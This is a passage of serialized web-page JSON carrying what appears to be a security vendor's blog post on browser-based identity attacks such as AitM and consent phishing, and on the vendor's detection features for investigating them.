marks":29659,"value":26874,"nodeType":865},{},[29660],{"type":935},{"data":29662,"content":29663,"nodeType":866},{},[29664],{"data":29665,"marks":29666,"value":26881,"nodeType":865},{},[],{"data":29668,"content":29669,"nodeType":866},{},[29670],{"data":29671,"marks":29672,"value":26888,"nodeType":865},{},[],{"data":29674,"content":29675,"nodeType":866},{},[29676,29679,29686],{"data":29677,"marks":29678,"value":26895,"nodeType":865},{},[],{"data":29680,"content":29681,"nodeType":889},{"uri":26898},[29682],{"data":29683,"marks":29684,"value":3223,"nodeType":865},{},[29685],{"type":1191},{"data":29687,"marks":29688,"value":1066,"nodeType":865},{},[],{"entries":29690},{"hyperlink":29691,"inline":29692,"block":29693},[],[],[29694,29701,29709,29715,29722,29727,29731,29737],{"sys":29695,"__typename":1671,"title":29696,"caption":29696,"layoutMode":59,"file":29697},{"id":26342},"Attacks have shifted from targeting local networks to internet services, accessed through employee web browsers.",{"url":29698,"width":29699,"height":29700},"https://images.ctfassets.net/y1cdw1ablpvd/2TRbV3HLZRt0pjgxPAPUOY/5dbeec4b4ac16a3b450e1eff2add6266/1.png",1174,482,{"sys":29702,"__typename":1671,"title":29703,"caption":29704,"layoutMode":59,"file":29705},{"id":26394},"Browser-based attacks like AITM phishing, ClickFix, and consent phishing have seen an unprecedented rise in recent years.","Browser-based attacks like AITM phishing, ClickFix, and consent phishing are the fastest-growing threats of 2025. ",{"url":29706,"width":29707,"height":29708},"https://images.ctfassets.net/y1cdw1ablpvd/1eCBgB8nNDu5955f1BwFO6/b80d5cb43c7acd75e1a670d4ae22b2ec/Browser-based_attacks_graphic__1_.png",2012,1272,{"sys":29710,"__typename":1671,"title":29711,"caption":29711,"layoutMode":59,"file":29712},{"id":26429},"Phishing is now multi- and cross-channel, targeting a vast range of cloud and SaaS apps using flexible AitM toolkits — but all roads inevitably lead to the browser.",{"url":29713,"width":1675,"height":29714},"https://images.ctfassets.net/y1cdw1ablpvd/1Fq4iSo4ssD0bdINZ4M31q/28d89ce5b8af767b37d2acb54a1c78cf/2.png",1003,{"sys":29716,"__typename":1671,"title":29717,"caption":29717,"layoutMode":59,"file":29718},{"id":26454},"AitM kits proxy information to the real site in order to complete the login process, passing MFA checks to steal the user’s session. ",{"url":29719,"width":29720,"height":29721},"https://images.ctfassets.net/y1cdw1ablpvd/Yo8TuzfyNcBWOIl34X1dS/2381e4e671039ddf61d03ef44fa45138/3.png",1064,458,{"sys":29723,"__typename":6278,"type":6279,"ctaText":29724,"buttonLabel":29725,"buttonColour":6282,"buttonUrl":29726},{"id":25307},"Learn more about how phishing attacks have evolved and why they're so effective at evading detection controls.","Get the Whitepaper","https://pushsecurity.com/resources/phishing-evolution",{"sys":29728,"__typename":1671,"title":27524,"caption":27524,"layoutMode":59,"file":29729},{"id":26563},{"url":29730,"width":1675,"height":27527},"https://images.ctfassets.net/y1cdw1ablpvd/3VSQ6bEHXlk0yJRal4R4oD/d3d6d281acfe22361a7d36719c4b0fa9/4.png",{"sys":29732,"__typename":1671,"title":29733,"caption":29733,"layoutMode":59,"file":29734},{"id":26617},"Consent phishing examples, where an attacker tricks the victim into authorizing an attacker-controlled app with risky permissions.",{"url":29735,"width":1675,"height":29736},"https://images.ctfassets.net/y1cdw1ablpvd/1Yx10JvyaLHI2DzhAjDgE0/886e807035dc8d005b9a6c84919a5a3f/5.png",1367,{"sys":29738,"__typename":1671,"title":29739,"caption":29739,"layoutMode":59,"file":29740},{"id":26637},"The ongoing Salesforce attacks involve malicious OAuth apps being granted access to the victim’s Salesforce tenant. ",{"url":29741,"width":29742,"height":29743},"https://images.ctfassets.net/y1cdw1ablpvd/5JA9n2l57OlYE3jIcsYKv2/d7f1dcf15542f2df4045df1c3c61ba2e/6.png",1488,950,{"items":29745},[],{},"6 browser-based attacks security teams need to know about",{"url":29749},"https://images.ctfassets.net/y1cdw1ablpvd/42Id6vr4wOWFp4RH6MqFoJ/54bfaf4a392fcbeda9bf795b09a9bef3/Bleeping_Thumbnail__Article_Header_.png",{"items":29751},[29752,30755,31364],{"__typename":1802,"sys":29753,"content":29755,"title":30741,"synopsis":30742,"hashTags":59,"publishedDate":30743,"slug":30744,"tagsCollection":30745,"authorsCollection":30751},{"id":29754},"6OFdfAsoPUECeRAetWvedp",{"json":29756},{"data":29757,"content":29758,"nodeType":1663},{},[29759,29766,29778,29790,29802,29814,29820,29839,29846,29861,29868,29874,29877,29885,29892,29899,29906,29912,29915,29923,29930,29950,29957,29964,29971,29978,29984,29991,29998,30005,30034,30041,30059,30066,30073,30093,30113,30133,30139,30146,30162,30169,30176,30183,30203,30211,30218,30225,30228,30236,30243,30250,30257,30300,30306,30313,30328,30417,30423,30430,30437,30500,30507,30514,30521,30527,30534,30541,30548,30554,30561,30568,30575,30581,30601,30608,30615,30658,30664,30667,30675,30699,30702,30709,30716,30723],{"data":29760,"content":29761,"nodeType":866},{},[29762],{"data":29763,"marks":29764,"value":29765,"nodeType":865},{},[],"Oh, look! A time capsule from 2010. Wonder what’s inside … ",{"data":29767,"content":29768,"nodeType":866},{},[29769,29774],{"data":29770,"marks":29771,"value":29773,"nodeType":865},{},[29772],{"type":935},"Listening to:",{"data":29775,"marks":29776,"value":29777,"nodeType":865},{},[]," “Like a G6” by Far East Movement (on a Nokia C7 — hey, it even had a touchscreen).",{"data":29779,"content":29780,"nodeType":866},{},[29781,29786],{"data":29782,"marks":29783,"value":29785,"nodeType":865},{},[29784],{"type":935},"Major news event:",{"data":29787,"marks":29788,"value":29789,"nodeType":865},{},[]," Eyjafjallajökull volcano erupts in Iceland, disrupting air travel.",{"data":29791,"content":29792,"nodeType":866},{},[29793,29798],{"data":29794,"marks":29795,"value":29797,"nodeType":865},{},[29796],{"type":935},"Worried about:",{"data":29799,"marks":29800,"value":29801,"nodeType":865},{},[]," Exploitable Flash browser plugins and static HTML phishing sites.",{"data":29803,"content":29804,"nodeType":866},{},[29805,29810],{"data":29806,"marks":29807,"value":29809,"nodeType":865},{},[29808],{"type":935},"How to be a hero?",{"data":29811,"marks":29812,"value":29813,"nodeType":865},{},[]," Roll out the latest AV, implement a web proxy, and add a “report phishing” button to your email solution.",{"data":29815,"content":29819,"nodeType":921},{"target":29816},{"sys":29817},{"id":29818,"type":918,"linkType":919},"54xYbMs0ii96xb2jgQVX9m",[],{"data":29821,"content":29822,"nodeType":866},{},[29823,29827,29835],{"data":29824,"marks":29825,"value":29826,"nodeType":865},{},[],"We’re halfway through 2025, and the time capsule for this year may need to be an XL when it comes to ",{"data":29828,"content":29829,"nodeType":889},{"uri":25549},[29830],{"data":29831,"marks":29832,"value":29834,"nodeType":865},{},[29833],{"type":1191},"how much has happened",{"data":29836,"marks":29837,"value":29838,"nodeType":865},{},[]," in the world of browser-based attacks. (Yet fittingly, Drake’s “Nokia” is a pop hit.)",{"data":29840,"content":29841,"nodeType":866},{},[29842],{"data":29843,"marks":29844,"value":29845,"nodeType":865},{},[],"While at least we don’t have to worry about Flash anymore, the browser is now the new battleground, and workforce identities are the most common target. Security teams are struggling with approaches and tools that attackers have outpaced.",{"data":29847,"content":29848,"nodeType":866},{},[29849,29853,29857],{"data":29850,"marks":29851,"value":29852,"nodeType":865},{},[],"In this article, we’ll cover how browser-based attacks have evolved, and how Push is taking a new approach with the release of our ",{"data":29854,"marks":29855,"value":20152,"nodeType":865},{},[29856],{"type":935},{"data":29858,"marks":29859,"value":29860,"nodeType":865},{},[]," capabilities, now generally available to all customers.",{"data":29862,"content":29863,"nodeType":866},{},[29864],{"data":29865,"marks":29866,"value":29867,"nodeType":865},{},[],"Push Detections use real-time telemetry to help you understand context, user behavior, and attacker techniques, and then respond — a modern tool for modern browser-based attacks.",{"data":29869,"content":29873,"nodeType":921},{"target":29870},{"sys":29871},{"id":29872,"type":918,"linkType":919},"2ULDSj85bXtT2OgpXKBHtB",[],{"data":29875,"content":29876,"nodeType":944},{},[],{"data":29878,"content":29879,"nodeType":953},{},[29880],{"data":29881,"marks":29882,"value":29884,"nodeType":865},{},[29883],{"type":935},"The old world vs. the new world",{"data":29886,"content":29887,"nodeType":866},{},[29888],{"data":29889,"marks":29890,"value":29891,"nodeType":865},{},[],"In the early 2010s, the typical attack path involved sending a user an email with a link to a static HTML webpage (most commonly a generic Exchange Web Access clone) that tricked them into giving you Active Directory creds. These could be used to log in to an exposed remote desktop service or the victim’s mailbox, giving the attacker a foothold to install malware. Anyone who’s done “red teaming 101” will recognize this scenario. ",{"data":29893,"content":29894,"nodeType":866},{},[29895],{"data":29896,"marks":29897,"value":29898,"nodeType":865},{},[],"A compromised identity was once just part of a system compromise. That meant the scope of detection and response was focused on the organization’s Active Directory domain, correlated with endpoint and network logs. ",{"data":29900,"content":29901,"nodeType":866},{},[29902],{"data":29903,"marks":29904,"value":29905,"nodeType":865},{},[],"But now, identity attacks happen beyond traditional on-premises networks, impacting cloud identities that are created, used, and attacked in the browser. What was once the familiar backbone of business IT — internal apps and thick clients — has been replaced with a sprawling cloud and SaaS ecosystem that can be targeted directly via identity, without touching the endpoint. ",{"data":29907,"content":29911,"nodeType":921},{"target":29908},{"sys":29909},{"id":29910,"type":918,"linkType":919},"2F2p4eTMCHo3LfNQJZeGWB",[],{"data":29913,"content":29914,"nodeType":944},{},[],{"data":29916,"content":29917,"nodeType":953},{},[29918],{"data":29919,"marks":29920,"value":29922,"nodeType":865},{},[29921],{"type":935},"Why detection and response hasn’t kept up with threat evolution",{"data":29924,"content":29925,"nodeType":866},{},[29926],{"data":29927,"marks":29928,"value":29929,"nodeType":865},{},[],"This shift in attacker TTPs is forcing a change in how we handle detection and response. ",{"data":29931,"content":29932,"nodeType":866},{},[29933,29937,29946],{"data":29934,"marks":29935,"value":29936,"nodeType":865},{},[],"But a lot of organizations are still applying the same old playbooks to this new world where identity attacks are the ",{"data":29938,"content":29940,"nodeType":889},{"uri":29939},"https://pushsecurity.com/resources/2024-identity-attacks",[29941],{"data":29942,"marks":29943,"value":29945,"nodeType":865},{},[29944],{"type":1191},"leading cause of breaches",{"data":29947,"marks":29948,"value":29949,"nodeType":865},{},[],", with uneven outcomes. ",{"data":29951,"content":29952,"nodeType":866},{},[29953],{"data":29954,"marks":29955,"value":29956,"nodeType":865},{},[],"This isn’t because of a lack of effort or skill on the part of security teams. It’s a reflection of the tools that have been available. ",{"data":29958,"content":29959,"nodeType":866},{},[29960],{"data":29961,"marks":29962,"value":29963,"nodeType":865},{},[],"Let’s look at some of the ways detection and response hasn’t kept up with the evolution of browser-borne threats in this new landscape.",{"data":29965,"content":29966,"nodeType":1229},{},[29967],{"data":29968,"marks":29969,"value":29970,"nodeType":865},{},[],"Incomplete identity visibility ",{"data":29972,"content":29973,"nodeType":866},{},[29974],{"data":29975,"marks":29976,"value":29977,"nodeType":865},{},[],"Today’s cloud identity providers see a fraction of the overall logins your users make to online apps, compared to the comprehensive visibility of Active Directory in the old world. You don’t know where users are logging in, how they’re logging in, or whether these logins are securely using phishing-resistant methods.",{"data":29979,"content":29983,"nodeType":921},{"target":29980},{"sys":29981},{"id":29982,"type":918,"linkType":919},"1SUYueQct7dtWwLh3AaAtA",[],{"data":29985,"content":29986,"nodeType":866},{},[29987],{"data":29988,"marks":29989,"value":29990,"nodeType":865},{},[],"This means that identity attacks are routinely bypassing preventative, account hygiene-based controls, putting the strain on detection and response. ",{"data":29992,"content":29993,"nodeType":1229},{},[29994],{"data":29995,"marks":29996,"value":29997,"nodeType":865},{},[],"Limited detection coverage ",{"data":29999,"content":30000,"nodeType":866},{},[30001],{"data":30002,"marks":30003,"value":30004,"nodeType":865},{},[],"Email and network security tools got pretty good at intercepting old-school phishing attacks like the ones from our proverbial time capsule: static HTML pages delivered over email that could be intercepted and analyzed when entering the mailbox or being loaded by the user. ",{"data":30006,"content":30007,"nodeType":866},{},[30008,30012,30021,30025,30029],{"data":30009,"marks":30010,"value":30011,"nodeType":865},{},[],"But with modern phishing attacks dynamically obfuscating the code that loads the web page, implementing custom bot protection, and using runtime anti-analysis features, they’re ",{"data":30013,"content":30014,"nodeType":889},{"uri":13515},[30015],{"data":30016,"marks":30017,"value":30020,"nodeType":865},{},[30018,30019],{"type":1191},{"type":935},"increasingly difficult to detect",{"data":30022,"marks":30023,"value":3757,"nodeType":865},{},[30024],{"type":935},{"data":30026,"marks":30027,"value":30028,"nodeType":865},{},[],"using conventional tools",{"data":30030,"marks":30031,"value":30033,"nodeType":865},{},[30032],{"type":935},".   ",{"data":30035,"content":30036,"nodeType":866},{},[30037],{"data":30038,"marks":30039,"value":30040,"nodeType":865},{},[],"Of course, email-based detections aren’t much use if attackers are using legitimate services to camouflage their links, or bypassing email altogether by switching to alternative delivery channels like messaging apps (such as Slack and Teams), as well as public services like LinkedIn and Reddit. ",{"data":30042,"content":30043,"nodeType":866},{},[30044,30048,30055],{"data":30045,"marks":30046,"value":30047,"nodeType":865},{},[],"More recently, groups like ",{"data":30049,"content":30050,"nodeType":889},{"uri":25549},[30051],{"data":30052,"marks":30053,"value":25555,"nodeType":865},{},[30054],{"type":1191},{"data":30056,"marks":30057,"value":30058,"nodeType":865},{},[]," have even been seen using malvertising techniques, delivering phishing links masquerading as paid Google ads.",{"data":30060,"content":30061,"nodeType":1229},{},[30062],{"data":30063,"marks":30064,"value":30065,"nodeType":865},{},[],"Inadequate security logs",{"data":30067,"content":30068,"nodeType":866},{},[30069],{"data":30070,"marks":30071,"value":30072,"nodeType":865},{},[],"If you fail to spot the attack pre-account takeover, you’re reliant on being able to detect and investigate suspicious or malicious activity resulting from the compromise. ",{"data":30074,"content":30075,"nodeType":866},{},[30076,30080,30089],{"data":30077,"marks":30078,"value":30079,"nodeType":865},{},[],"This was more straightforward (if not easy) when you had the luxury of a ",{"data":30081,"content":30083,"nodeType":889},{"uri":30082},"https://pushsecurity.com/blog/shifting-detection-left-for-more-effective-itdr/",[30084],{"data":30085,"marks":30086,"value":30088,"nodeType":865},{},[30087],{"type":1191},"typical on-prem network to fall back",{"data":30090,"marks":30091,"value":30092,"nodeType":865},{},[]," on. But with cloud exploitation taking place in a matter of minutes, you don’t get much warning — and your endpoint and network-based alarms can’t help you. ",{"data":30094,"content":30095,"nodeType":866},{},[30096,30100,30109],{"data":30097,"marks":30098,"value":30099,"nodeType":865},{},[],"The situation is further complicated by the fact that you simply don’t have the logs you need because of the huge variability in how cloud and SaaS services provide logs (with many ",{"data":30101,"content":30103,"nodeType":889},{"uri":30102},"https://pushsecurity.com/blog/minimum-viable-identity-security/#id-enable-security-teams-to-detect-and-respond-to-identity-attacks",[30104],{"data":30105,"marks":30106,"value":30108,"nodeType":865},{},[30107],{"type":1191},"failing to provide security logs",{"data":30110,"marks":30111,"value":30112,"nodeType":865},{},[]," with relevant data points at all). So chances are you’re flying blind when it comes to large chunks of your business app suite. ",{"data":30114,"content":30115,"nodeType":866},{},[30116,30120,30129],{"data":30117,"marks":30118,"value":30119,"nodeType":865},{},[],"Ultimately, you’re stuck with what you can observe — typically network traffic. But ",{"data":30121,"content":30123,"nodeType":889},{"uri":30122},"https://pushsecurity.com/blog/the-web-proxy-is-dead-long-live-the-browser-extension/",[30124],{"data":30125,"marks":30126,"value":30128,"nodeType":865},{},[30127],{"type":1191},"even with a TLS-terminating proxy",{"data":30130,"marks":30131,"value":30132,"nodeType":865},{},[],", extracting fine-grained identity data points isn’t really achievable. You’re looking from the outside-in at malicious activity that’s happening in the user’s browser and trying to infer what happened.  ",{"data":30134,"content":30138,"nodeType":921},{"target":30135},{"sys":30136},{"id":30137,"type":918,"linkType":919},"7FMdHtbE63GMCavObETf3O",[],{"data":30140,"content":30141,"nodeType":1229},{},[30142],{"data":30143,"marks":30144,"value":30145,"nodeType":865},{},[],"Spotty control enforcement",{"data":30147,"content":30148,"nodeType":866},{},[30149,30153,30158],{"data":30150,"marks":30151,"value":30152,"nodeType":865},{},[],"And in the case that you do identify that a user clicked a malicious link and ",{"data":30154,"marks":30155,"value":30157,"nodeType":865},{},[30156],{"type":965},"maybe ",{"data":30159,"marks":30160,"value":30161,"nodeType":865},{},[],"entered their credentials into the page — now what? ",{"data":30163,"content":30164,"nodeType":866},{},[30165],{"data":30166,"marks":30167,"value":30168,"nodeType":865},{},[],"You can reset the account in the affected app, ideally terminating active sessions — which may or may not be possible, depending on the app. This might take a while if you don’t centrally manage the app, and involve some painful emergency phone calls to employees. ",{"data":30170,"content":30171,"nodeType":866},{},[30172],{"data":30173,"marks":30174,"value":30175,"nodeType":865},{},[],"What about apps where the same password is reused? ",{"data":30177,"content":30178,"nodeType":866},{},[30179],{"data":30180,"marks":30181,"value":30182,"nodeType":865},{},[],"Or if it’s an IdP account used for SSO, what about the other apps that might be accessible now? ",{"data":30184,"content":30185,"nodeType":866},{},[30186,30190,30199],{"data":30187,"marks":30188,"value":30189,"nodeType":865},{},[],"If the attacker has created stealthy backdoors that persist through credential changes (like ",{"data":30191,"content":30193,"nodeType":889},{"uri":30192},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/ghost_logins/description.md",[30194],{"data":30195,"marks":30196,"value":30198,"nodeType":865},{},[30197],{"type":1191},"creating an API key or a malicious OAuth integration",{"data":30200,"marks":30201,"value":30202,"nodeType":865},{},[],") they could still be lurking in your environment.",{"data":30204,"content":30205,"nodeType":866},{},[30206],{"data":30207,"marks":30208,"value":30210,"nodeType":865},{},[30209],{"type":935},"Suddenly, you’re not dealing with one possible control point, you’re dealing with several. ",{"data":30212,"content":30213,"nodeType":866},{},[30214],{"data":30215,"marks":30216,"value":30217,"nodeType":865},{},[],"And if you can’t trace the attack back to a source — because your email solution missed it, or it didn’t come via email, how can you triage the impact to other users? ",{"data":30219,"content":30220,"nodeType":866},{},[30221],{"data":30222,"marks":30223,"value":30224,"nodeType":865},{},[],"It’s no wonder that security teams are struggling to adapt. ",{"data":30226,"content":30227,"nodeType":944},{},[],{"data":30229,"content":30230,"nodeType":953},{},[30231],{"data":30232,"marks":30233,"value":30235,"nodeType":865},{},[30234],{"type":935},"How Push is solving modern identity investigations in the browser",{"data":30237,"content":30238,"nodeType":866},{},[30239],{"data":30240,"marks":30241,"value":30242,"nodeType":865},{},[],"The good news? We’ve seen this phenomenon play out before: In the early 2010s, in fact, when AV evolved into EDR. What was the big innovation then? Getting inside the data stream, in real time, and detecting and responding from a much higher-fidelity source of telemetry.",{"data":30244,"content":30245,"nodeType":866},{},[30246],{"data":30247,"marks":30248,"value":30249,"nodeType":865},{},[],"This time around, security teams need tools that take them inside the browser layer.",{"data":30251,"content":30252,"nodeType":866},{},[30253],{"data":30254,"marks":30255,"value":30256,"nodeType":865},{},[],"This approach gives you the right vantage point to defend against and investigate browser-based identity attacks, providing access to:",{"data":30258,"content":30259,"nodeType":2374},{},[30260,30270,30280,30290],{"data":30261,"content":30262,"nodeType":2309},{},[30263],{"data":30264,"content":30265,"nodeType":866},{},[30266],{"data":30267,"marks":30268,"value":30269,"nodeType":865},{},[],"Full decrypted HTTP traffic — not just DNS and TCP/IP metadata",{"data":30271,"content":30272,"nodeType":2309},{},[30273],{"data":30274,"content":30275,"nodeType":866},{},[30276],{"data":30277,"marks":30278,"value":30279,"nodeType":865},{},[],"Full user interaction tracing — every click, keystroke, or DOM change",{"data":30281,"content":30282,"nodeType":2309},{},[30283],{"data":30284,"content":30285,"nodeType":866},{},[30286],{"data":30287,"marks":30288,"value":30289,"nodeType":865},{},[],"Full inspection at every layer of execution, not just the initial HTML served",{"data":30291,"content":30292,"nodeType":2309},{},[30293],{"data":30294,"content":30295,"nodeType":866},{},[30296],{"data":30297,"marks":30298,"value":30299,"nodeType":865},{},[],"Full access to browser APIs, to correlate with browser history, local storage, cookies, etc.",{"data":30301,"content":30305,"nodeType":921},{"target":30302},{"sys":30303},{"id":30304,"type":918,"linkType":919},"5qt0s8e1TIEUxhU1GzFO63",[],{"data":30307,"content":30308,"nodeType":866},{},[30309],{"data":30310,"marks":30311,"value":30312,"nodeType":865},{},[],"With this data, teams have the information they need to respond to and investigate browser-based attacks. But to become valuable, this data needs a translation layer that turns it from raw logs into actionable information.",{"data":30314,"content":30315,"nodeType":866},{},[30316,30320,30324],{"data":30317,"marks":30318,"value":30319,"nodeType":865},{},[],"That’s where Push’s ",{"data":30321,"marks":30322,"value":20152,"nodeType":865},{},[30323],{"type":935},{"data":30325,"marks":30326,"value":30327,"nodeType":865},{},[]," capability comes in. With it, you can:",{"data":30329,"content":30330,"nodeType":2374},{},[30331,30367,30377,30387,30397,30407],{"data":30332,"content":30333,"nodeType":2309},{},[30334],{"data":30335,"content":30336,"nodeType":866},{},[30337,30341,30350,30354,30363],{"data":30338,"marks":30339,"value":30340,"nodeType":865},{},[],"Get alerted in your platform of choice (via the Push admin console, ",{"data":30342,"content":30344,"nodeType":889},{"uri":30343},"https://pushsecurity.com/help/audience/administrators/docs/connect-to-siem-or-soar/send-webhook-events-to-slack/",[30345],{"data":30346,"marks":30347,"value":30349,"nodeType":865},{},[30348],{"type":1191},"Slack integration",{"data":30351,"marks":30352,"value":30353,"nodeType":865},{},[],", or your ",{"data":30355,"content":30357,"nodeType":889},{"uri":30356},"https://pushsecurity.com/help/audience/administrators/docs/connect-to-siem-or-soar/",[30358],{"data":30359,"marks":30360,"value":30362,"nodeType":865},{},[30361],{"type":1191},"SIEM/SOAR",{"data":30364,"marks":30365,"value":30366,"nodeType":865},{},[]," of choice) whenever Push detects a browser-based attack, such as AiTM phishing or a cloned login page.",{"data":30368,"content":30369,"nodeType":2309},{},[30370],{"data":30371,"content":30372,"nodeType":866},{},[30373],{"data":30374,"marks":30375,"value":30376,"nodeType":865},{},[],"Review a curated timeline of the incident: Where a phishing link originated; whether a user entered their credentials on the page; what kind of phishkit was used; and whether the attack was blocked by Push.",{"data":30378,"content":30379,"nodeType":2309},{},[30380],{"data":30381,"content":30382,"nodeType":866},{},[30383],{"data":30384,"marks":30385,"value":30386,"nodeType":865},{},[],"See all the other impacted accounts and apps that shared a password with the phished account so you can remediate them.",{"data":30388,"content":30389,"nodeType":2309},{},[30390],{"data":30391,"content":30392,"nodeType":866},{},[30393],{"data":30394,"marks":30395,"value":30396,"nodeType":865},{},[],"See a screenshot captured by the Push browser extension of the phishing page, so you can see exactly what the user saw before the page disappears.",{"data":30398,"content":30399,"nodeType":2309},{},[30400],{"data":30401,"content":30402,"nodeType":866},{},[30403],{"data":30404,"marks":30405,"value":30406,"nodeType":865},{},[],"Get additional context from urlscan.io about the domains connected to the incident, helping you understand whether a domain has been reported as malicious by other users, when it was registered, and how many times it’s been scanned.",{"data":30408,"content":30409,"nodeType":2309},{},[30410],{"data":30411,"content":30412,"nodeType":866},{},[30413],{"data":30414,"marks":30415,"value":30416,"nodeType":865},{},[],"Interrogate and send this telemetry to your SIEM for you to operationalize it as part of SecOps workflows and hunt across events for similar incident characteristics.",{"data":30418,"content":30422,"nodeType":921},{"target":30419},{"sys":30420},{"id":30421,"type":918,"linkType":919},"5iPYWpPx4IZ2M1DykQiWsN",[],{"data":30424,"content":30425,"nodeType":1229},{},[30426],{"data":30427,"marks":30428,"value":30429,"nodeType":865},{},[],"Browser context",{"data":30431,"content":30432,"nodeType":866},{},[30433],{"data":30434,"marks":30435,"value":30436,"nodeType":865},{},[],"With Push, there’s no more: ",{"data":30438,"content":30439,"nodeType":2374},{},[30440,30450,30460,30470,30480,30490],{"data":30441,"content":30442,"nodeType":2309},{},[30443],{"data":30444,"content":30445,"nodeType":866},{},[30446],{"data":30447,"marks":30448,"value":30449,"nodeType":865},{},[],"Waiting (and hoping) that a browser-based attack gets recognized and reported by a user.",{"data":30451,"content":30452,"nodeType":2309},{},[30453],{"data":30454,"content":30455,"nodeType":866},{},[30456],{"data":30457,"marks":30458,"value":30459,"nodeType":865},{},[],"Guesswork as to exactly what happened on the phishing page. ",{"data":30461,"content":30462,"nodeType":2309},{},[30463],{"data":30464,"content":30465,"nodeType":866},{},[30466],{"data":30467,"marks":30468,"value":30469,"nodeType":865},{},[],"Struggling to get your hands on a live version of the page to see if it was actually malicious and getting thwarted because the attacker used a one-time phishing link. ",{"data":30471,"content":30472,"nodeType":2309},{},[30473],{"data":30474,"content":30475,"nodeType":866},{},[30476],{"data":30477,"marks":30478,"value":30479,"nodeType":865},{},[],"Manually tracing the attack to see if it arrived by email so you can quarantine the messages. ",{"data":30481,"content":30482,"nodeType":2309},{},[30483],{"data":30484,"content":30485,"nodeType":866},{},[30486],{"data":30487,"marks":30488,"value":30489,"nodeType":865},{},[],"Trawling through voluminous proxy logs for scraps of information (who else visited the link; where did it originate; etc.).",{"data":30491,"content":30492,"nodeType":2309},{},[30493],{"data":30494,"content":30495,"nodeType":866},{},[30496],{"data":30497,"marks":30498,"value":30499,"nodeType":865},{},[],"Spending precious time on urlscan or VirusTotal to get basic context on a domain or IP address. ",{"data":30501,"content":30502,"nodeType":866},{},[30503],{"data":30504,"marks":30505,"value":30506,"nodeType":865},{},[],"Instead, Push gives you all the information you need in one place to investigate and respond. ",{"data":30508,"content":30509,"nodeType":866},{},[30510],{"data":30511,"marks":30512,"value":30513,"nodeType":865},{},[],"The foundation for these detections is the Push browser agent, which can be silently installed in all major browsers in your environment to begin streaming information about a user’s entire identity footprint. ",{"data":30515,"content":30516,"nodeType":866},{},[30517],{"data":30518,"marks":30519,"value":30520,"nodeType":865},{},[],"This valuable telemetry, combined with Push’s out-of-the-box controls and detections, gives you a seat on the user’s side of the equation, capturing reliable information about network requests, scripts loaded by a malicious website, and what a user clicked and navigated to: the ingredients for showing you how a browser-based attack unfolded, start to finish.",{"data":30522,"content":30526,"nodeType":921},{"target":30523},{"sys":30524},{"id":30525,"type":918,"linkType":919},"7ylgcaNDrxYhw7bULixM1C",[],{"data":30528,"content":30529,"nodeType":866},{},[30530],{"data":30531,"marks":30532,"value":30533,"nodeType":865},{},[],"Push raises a detection when it observes a phishing attack or when a user attempts to visit a blocked URL. You can view detections in the Push admin console, or send them to your SIEM or SOAR for correlation and analysis.",{"data":30535,"content":30536,"nodeType":1229},{},[30537],{"data":30538,"marks":30539,"value":30540,"nodeType":865},{},[],"Screenshot capture",{"data":30542,"content":30543,"nodeType":866},{},[30544],{"data":30545,"marks":30546,"value":30547,"nodeType":865},{},[],"The Push extension can also capture a screenshot at the time of a detection firing. This means security teams can see the visual characteristics of the page even if it’s since been taken down (and no more looking at bot protection screens like Cloudflare Turnstile on urlscan). ",{"data":30549,"content":30553,"nodeType":921},{"target":30550},{"sys":30551},{"id":30552,"type":918,"linkType":919},"58HPrc7wImm3mLxPK0yJOG",[],{"data":30555,"content":30556,"nodeType":1229},{},[30557],{"data":30558,"marks":30559,"value":30560,"nodeType":865},{},[],"Blast radius analysis for all impacted accounts & apps",{"data":30562,"content":30563,"nodeType":866},{},[30564],{"data":30565,"marks":30566,"value":30567,"nodeType":865},{},[],"With Push’s knowledge of your workforce identities — based on observing logins in the browser that use corporate credentials — the platform can also provide an analysis of the blast radius of an attack by showing you where other accounts and apps are impacted or at risk.",{"data":30569,"content":30570,"nodeType":866},{},[30571],{"data":30572,"marks":30573,"value":30574,"nodeType":865},{},[],"This information helps you understand the true impact of an incident so you can remediate all affected accounts.",{"data":30576,"content":30580,"nodeType":921},{"target":30577},{"sys":30578},{"id":30579,"type":918,"linkType":919},"77e8XMl2Rb0p7ZrG2wmURO",[],{"data":30582,"content":30583,"nodeType":866},{},[30584,30588,30597],{"data":30585,"marks":30586,"value":30587,"nodeType":865},{},[],"Push is able to provide this blast radius analysis by ",{"data":30589,"content":30591,"nodeType":889},{"uri":30590},"https://pushsecurity.com/help/10043/#how-push-securely-analyzes-passwords",[30592],{"data":30593,"marks":30594,"value":30596,"nodeType":865},{},[30595],{"type":1191},"securely fingerprinting users’ passwords",{"data":30598,"marks":30599,"value":30600,"nodeType":865},{},[]," when a login is observed; analyzing them for security posture issues such as missing MFA, or stolen, weak, or reused passwords; and then raising that relevant context for a given detection.",{"data":30602,"content":30603,"nodeType":1229},{},[30604],{"data":30605,"marks":30606,"value":30607,"nodeType":865},{},[],"Correlated context from urlscan.io",{"data":30609,"content":30610,"nodeType":866},{},[30611],{"data":30612,"marks":30613,"value":30614,"nodeType":865},{},[],"Finally, through an integration with urlscan.io, Push is able to provide additional context about the domains involved in a detection event, including:",{"data":30616,"content":30617,"nodeType":2374},{},[30618,30628,30638,30648],{"data":30619,"content":30620,"nodeType":2309},{},[30621],{"data":30622,"content":30623,"nodeType":866},{},[30624],{"data":30625,"marks":30626,"value":30627,"nodeType":865},{},[],"When they were created",{"data":30629,"content":30630,"nodeType":2309},{},[30631],{"data":30632,"content":30633,"nodeType":866},{},[30634],{"data":30635,"marks":30636,"value":30637,"nodeType":865},{},[],"How many times they have previously been scanned",{"data":30639,"content":30640,"nodeType":2309},{},[30641],{"data":30642,"content":30643,"nodeType":866},{},[30644],{"data":30645,"marks":30646,"value":30647,"nodeType":865},{},[],"When they were last scanned",{"data":30649,"content":30650,"nodeType":2309},{},[30651],{"data":30652,"content":30653,"nodeType":866},{},[30654],{"data":30655,"marks":30656,"value":30657,"nodeType":865},{},[],"If urlscan has marked them as suspicious",{"data":30659,"content":30663,"nodeType":921},{"target":30660},{"sys":30661},{"id":30662,"type":918,"linkType":919},"2AKpAk65XdmaGBfe2V4qZ5",[],{"data":30665,"content":30666,"nodeType":944},{},[],{"data":30668,"content":30669,"nodeType":953},{},[30670],{"data":30671,"marks":30672,"value":30674,"nodeType":865},{},[30673],{"type":935},"Check out our latest webinar for practical guidance in real-world scenarios",{"data":30676,"content":30677,"nodeType":866},{},[30678,30682,30691,30694],{"data":30679,"marks":30680,"value":30681,"nodeType":865},{},[],"For practical advice and applied examples of how to use Push data in incident response — as well as some bonus examples of automated response and remediation use cases — 